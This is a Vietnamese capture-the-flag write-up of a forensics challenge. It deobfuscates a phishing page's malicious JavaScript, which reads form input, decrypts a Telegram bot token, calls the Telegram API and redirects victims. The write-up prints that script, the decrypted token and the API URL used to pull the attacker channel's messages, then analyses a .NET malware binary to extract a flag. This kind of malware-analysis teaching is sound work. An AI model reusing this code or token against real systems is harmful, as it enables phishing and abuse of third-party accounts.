# Hard ## Tales for the Brave ![Screenshot 2025-03-27 222847](https://hackmd.io/_uploads/Hy7a017pJx.png) ### Overview Thử thách này cần phải spawn docker để có thể tiến hành cuộc điều tra ## Analyze Theo như mô tả thì mình sẽ dùng firefox **Bởi vì nếu thực hiện trên trình khác sẽ xảy ra bug dấu "%" vì tôi đã thử :(((** để thực hiện debug cũng như phân tích Đây là một trang web với mục đích là **phishing**: ![Screenshot 2025-03-27 224409](https://hackmd.io/_uploads/ry9LGemaJe.png) Tiến hành f12 hoặc ctrl+u: ![image](https://hackmd.io/_uploads/HkQoGxmT1x.png) * File js này hiểu nôm na sẽ là phần mã bên trong thẻ <script> trong HTML chủ yếu chứa mã JavaScript được thực thi ở phía khách hàng (frontend) => nghĩa là trình duyệt của người dùng xử lý mã này. Thực hiện vào xem source: ![Screenshot 2025-03-27 224726](https://hackmd.io/_uploads/rykXmgXT1e.png) * Đoạn mã này đã bị làm rối, nhưng theo kinh nghiệm tích lũy ít ỏi của tôi thì ta nên thực hiện sửa biến => thực hiện debug chạy trên web luôn: Cách làm như sau: * Tôi sẽ tiến hành clone cái trang html về và sẽ thay đổi lại như sau: ```html=1 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Newsletter Signup</title> <link rel="stylesheet" href="css/index.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.9-1/crypto-js.js"></script> </head> <body> <div class="newsletter"> <div class="image-section"> <img src="img/storytellingEldoriaMyths.png" alt="Rings" /> </div> <div class="form-section"> <h1>Tales of Eldoria: Stories of Magic and Bravery for the Young and Curious</h1> <p>In the mystical lands of Eldoria, where dragons soar and ancient magic pulses through the air, storytelling is more than just a pastime—it's a tradition that bridges generations. Imagine a magical evening where children gather around glowing crystal orbs, listening to the mesmerizing myths and legends of Eldoria. These tales teach courage, friendship, and the magic of harmony.</p> <form id="newsletterForm"> <input type="email" id="email" placeholder="Email" /> <input type="text" id="descriptionField" placeholder="Description" /> <div class="checkbox-group"> <p>The newsletter offers:</p> <label><input class="cb" id="c1" type="checkbox" /> Legends of Dragons</label> <label><input class="cb" id="c2" type="checkbox" /> Ancient Magic</label> <label><input class="cb" id="c3" type="checkbox" /> Adventures of Heroes</label> <label><input class="cb" id="c4" type="checkbox" /> Eldoria Myths</label> </div> <div class="buttons"> <button type="submit" data-node-outlined="false" class="button primary">SUBMIT</button> </div> </form> </div> </div> <script src="original.js"></script> // Nằm cùng folder </body> </html> ``` * Đồng thời trong source javascript tôi sẽ thay biến `eval()` thành biến `console.log()` nhằm in ra cái payload tiếp theo để tiếp tục phân tích: * Tiến hành cài extension `live server` để có thể deploy chạy dưới local: * Đây chính là payload thứ 2 của malware này: * ![image](https://hackmd.io/_uploads/r1W64em6yl.png) Lên [deobfuscate.io/](https://deobfuscate.io/) để deobfuscated nhằm dễ dàng phân tích hơn: :::spoiler ```javascript=1 var _$_8b18 = function (k, j) { var y = k.length; var o = []; for (var m = 0; m < y; m++) { o[m] = k.charAt(m); } ; for (var m = 0; m < y; m++) { var b = j * (m + 143) + j % 34726; var r = j * (m + 91) + j % 23714; var v = b % y; var s = r % y; var f = o[v]; o[v] = o[s]; o[s] = f; j = (b + r) % 4449625; } ; var a = ""; var i = ""; var e = "%"; var q = "#1"; var t = "%"; var h = "#0"; var w = "#"; return o.join(i).split(e).join(a).split(q).join(t).split(h).join(w).split(a); }("shfnemBLlerpitrtgt%ld%DmvuFeceaEaladerletdtdtsputpnielEvae%%iansn%eimkei%guLt%d%i%tsv%ds%eltee%ewssmnnvdsaiyrroeesmlc@Feroieoel%bt%lIota", 3827531); document[_$_8b18[3]](_$_8b18[14])[_$_8b18[13]](_$_8b18[0], function (e) { e[_$_8b18[1]](); const emailField = document[_$_8b18[3]](_$_8b18[2]); const descriptionField = document[_$_8b18[3]](_$_8b18[4]); let isValid = true; if (!emailField[_$_8b18[5]]) { emailField[_$_8b18[8]][_$_8b18[7]](_$_8b18[6]); isValid = false; setTimeout(() => { return emailField[_$_8b18[8]][_$_8b18[9]](_$_8b18[6]); }, 500); } ; if (!isValid) { return; } ; const emailValue = emailField[_$_8b18[5]]; const specialKey = emailValue[_$_8b18[11]](_$_8b18[10])[0]; const desc = parseInt(descriptionField[_$_8b18[5]], 10); f(specialKey, desc); }); ; function G(r) { return function () { var r = Array.prototype.slice.call(arguments), o = r.shift(); return r.reverse().map(function (r, t) { return String.fromCharCode(r - o - 7 - t); }).join(""); }(43, 106, 167, 103, 163, 98) + 1354343..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -13); }).join("") + 4..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -39); }).join("") + 381..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -13); }).join("") + function () { var r = Array.prototype.slice.call(arguments), o = r.shift(); return r.reverse().map(function (r, t) { return String.fromCharCode(r - o - 60 - t); }).join(""); }(42, 216, 153, 153, 213, 187); } ; var _$_5975 = function (o, u) { var g = o.length; var t = []; for (var w = 0; w < g; w++) { t[w] = o.charAt(w); } ; for (var w = 0; w < g; w++) { var z = u * (w + 340) + u % 19375; var a = u * (w + 556) + u % 18726; var h = z % g; var q = a % g; var b = t[h]; t[h] = t[q]; t[q] = b; u = (z + a) % 5939310; } ; var k = ""; var r = ""; var l = "%"; var i = "#1"; var v = "%"; var e = "#0"; var f = "#"; return t.join(r).split(l).join(k).split(i).join(v).split(e).join(f).split(k); }("%dimfT%mVlzx%degpatf5bfnrG%6tSiqth5at%easpi0emILmcim%e%/!=eZtnHf%e7cf+3rstO%%.D0i8p3t/Sphryoa%IL0rin%rcAeF6%nsenoYaLeQ5Natp4CrSrCGttUtZrdG%rlxe2poa2rdg=9fQs%&j_of0ButCO tb=r35DyCee8tgaCf=I=%rAQa4fe%ar0aonsGT_v/NgoPouP2%eoe%ue3tl&enTceynCtt4FBs%s/rBsAUEhradnkrstfgd?%t%xeyhcedeTo%olghXMsaocrB3aaDBr5rRa16Cjuct%cOee5lWE_ooo+Ka4%d3TysnehshstepId%%Ieoaycug:i_m=%%mjp0tgaiidoei.prn%sw1d", 4129280); function f(oferkfer, icd) { const channel_id = -1002496072246; var enc_token = _$_5975[0]; // nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q== if (oferkfer === G(_$_5975[1]) && CryptoJS[_$_5975[7]](sequence[_$_5975[6]](_$_5975[5]))[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[2]]) === _$_5975[8]) { var decrypted = CryptoJS[_$_5975[12]][_$_5975[11]](enc_token, CryptoJS[_$_5975[3]][_$_5975[9]][_$_5975[10]](oferkfer), {drop: 192})[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[9]]); var HOST = _$_5975[13] + String[_$_5975[14]](47) + String[_$_5975[14]](98) + String[_$_5975[14]](111) + String[_$_5975[14]](116) + decrypted; var xhr = new XMLHttpRequest; xhr[_$_5975[15]] = function () { if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) { const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]); try { const link = resp[_$_5975[20]][_$_5975[19]]; window[_$_5975[23]][_$_5975[22]](link); } catch (error) { alert(_$_5975[24]); } } }; xhr[_$_5975[29]](_$_5975[25], HOST + String[_$_5975[14]](47) + _$_5975[26] + icd + _$_5975[27] + channel_id + _$_5975[28]); xhr[_$_5975[30]](null); } else { alert(_$_5975[24]); } } ; ; var sequence = []; ; function l() { sequence.push(this.id); } ; ; var checkboxes = document.querySelectorAll("input[class=cb]"); for (var i = 0; i < checkboxes.length; i++) { checkboxes[i].addEventListener("change", l); } ``` ::: ``` _$_8b18 = [ 'submit', 'preventDefault', 'email', 'getElementById', 'descriptionField', 'value', 'shake', 'add', 'classList', 'remove', '@', 'split', 'log', 'addEventListener', 'newsletterForm' ] ``` ``` _$_5975= [ 'nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==', 's3cur3k3y', 'Base64', 'enc', 'toString', '', 'join', 'SHA256', '18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=', 'Utf8', 'parse', 'decrypt', 'RC4Drop', 'https://api.telegram.org', 'fromCharCode', 'onreadystatechange', 'readyState', 'DONE', 'responseText', 'text', 'result', 'log', 'replace', 'location', 'Form submitted!', 'GET', 'forwardMessage?chat_id=', '&from_chat_id=', '&message_id=5', 'open', 'send' ] ``` Nôm na logic của đoạn mã độc này là: 1. **Form Submission Handler**: - Chặn sự kiện submit form, kiểm tra tính hợp lệ của email. - Thu thập giá trị email (phần trước @ làm `specialKey`) và số từ trường "description". 2. **Hàm `f(oferkfer, icd)`**: - **Kiểm tra điều kiện**: - `oferkfer` phải bằng kết quả hàm `G('s3cur3k3y')` (một chuỗi được mã hóa phức tạp). - Chuỗi `sequence` (từ các checkbox) phải có hash SHA256 khớp với giá trị định sẵn. - **Giải mã token Telegram**: - Sử dụng thuật toán RC4Drop để giải mã `enc_token` thành bot token thật. - **Giao tiếp với Telegram API**: - Gửi request để forward message từ channel (-1002496072246) đến chat ID (`icd`) chỉ định. - Nếu thành công, redirect người dùng đến link độc hại. 3. **Hàm `G()`**: - Tạo chuỗi key qua nhiều bước mã hóa (base36, biến đổi char code,...), kết quả là một static key ẩn. 4. **Checkbox Tracking**: - Theo dõi thứ tự click checkbox, lưu ID vào mảng `sequence` để kiểm tra hash. Tiếp theo mình sẽ tiến hành decrypt token của con bot telegram để xem nó forward qua nhưng tin nhắn bí mật gì. ```javascript=1 const CryptoJS = require('crypto-js'); function G(r) { return function () { var r = Array.prototype.slice.call(arguments), o = r.shift(); return r.reverse().map(function (r, t) { return String.fromCharCode(r - o - 7 - t); }).join(""); }(43, 106, 167, 103, 163, 98) + 1354343..toString(36).toLowerCase() + 21..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -13); }).join("") + 4..toString(36).toLowerCase() + 32..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -39); }).join("") + 381..toString(36).toLowerCase().split("").map(function (r) { return String.fromCharCode(r.charCodeAt() + -13); }).join("") + function () { var r = Array.prototype.slice.call(arguments), o = r.shift(); return r.reverse().map(function (r, t) { return String.fromCharCode(r - o - 60 - t); }).join(""); }(42, 216, 153, 153, 213, 187); } ; var enc_token = 'nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q=='; var oferkfer = G('s3cur3k3y'); var decrypted = CryptoJS['RC4Drop']['decrypt'](enc_token, CryptoJS['enc']['Utf8']['parse'](oferkfer), {drop: 192})['toString'](CryptoJS['enc']['Utf8']); console.log(decrypted); //7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc ``` Tiến hành forward tin nhắn từ kênh con bot đó qua mình thôi, đầu tiên: * Lấy thông tin về bot chat này trước, dùng url này: * ![Screenshot 2025-03-27 233620](https://hackmd.io/_uploads/rys50xm6ye.png) * Tiếp theo là đến bước forward chat: * ![Screenshot 2025-03-27 233719](https://hackmd.io/_uploads/ByqARgX6Jx.png) url: ```https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessages?from_chat_id=-1002496072246&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883``` ![image](https://hackmd.io/_uploads/B1UEybXp1e.png) Ở trong phần bot chat này có chứa 1 file `Brave.zip` + password zip , có lẻ đây là final malware rồi Tiến hành tải về giải nén zip và tiến hành phân tích tiếp thôi: Sử dụng detect it easy tool để xem rõ đặc trưng của file: ![Screenshot 2025-03-27 235607](https://hackmd.io/_uploads/ry__mWmake.png) Tuy là viết bằng ngôn ngữ c++ nhưng cách build lại khác so với nhưng file exe thông thường ở file này có sử dụng thư viện .NET (cụ thể là aot .net) Trong giải diễn ra thì mình solve bài này theo hướng phân tích động: * Chạy file malware trên máy ảo => dump process malware về và thực hiện strings ![image](https://hackmd.io/_uploads/r17Y1P5a1g.png) Sau giải thì mình có hỏi 1 bạn reverse trong team về cách làm theo hướng phân tích tĩnh => Mình sẽ tạo 1 file .sig để load vào ida để dễ đọc code hơn Tiến hành load vào ida phân tích: * Debug một hồi thì sẽ thấy có 1 hàm dùng để bắn request đến 1 server nào đó ![Screenshot 2025-03-26 125715](https://hackmd.io/_uploads/HkNrBW7a1l.png) * Tiếp tục debug sâu hơn là sẽ thấy rõ: ![Screenshot 2025-03-27 000214](https://hackmd.io/_uploads/rkkNHZmaJe.png) ``` Authorization: Bearer Token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcm9tIjoiY29zdGkiLCJjYW1wYWlnbl9pZCI6Ik9wZXJhdGlvbiBFbGRvcmlhIDogRXhwb3NpbmcgdGhlIGJyYXZlcyIsImF1dGgiOiJVMFpTUTJVd1JsRldSamxxVFVjMWVtTkVSbmxPUjAxNFRUTk9abGxxVG05TlZ6VnJXREpKZW1KcVJtNWliRGx6VFVSQ2NrMVhOVzVZTTAxNFpFUk9lbVpSUFQwPSJ9.HelK5pTs6fenv8TKmAPrV3tzhSZm4GEAnEV9vBBtAzg ``` * Tiến hành decode jwt => lấy flag thôi: ![Screenshot 2025-03-28 000651](https://hackmd.io/_uploads/BJhhSWXT1g.png) ![Screenshot 2025-03-28 000714](https://hackmd.io/_uploads/rkZAS-m6kl.png) ## REF: https://harfanglab.io/insidethelab/reverse-engineering-ida-pro-aot-net/ **This is official wu**: https://github.com/hackthebox/cyber-apocalypse-2025/tree/main/forensics/Tales%20for%20the%20Brave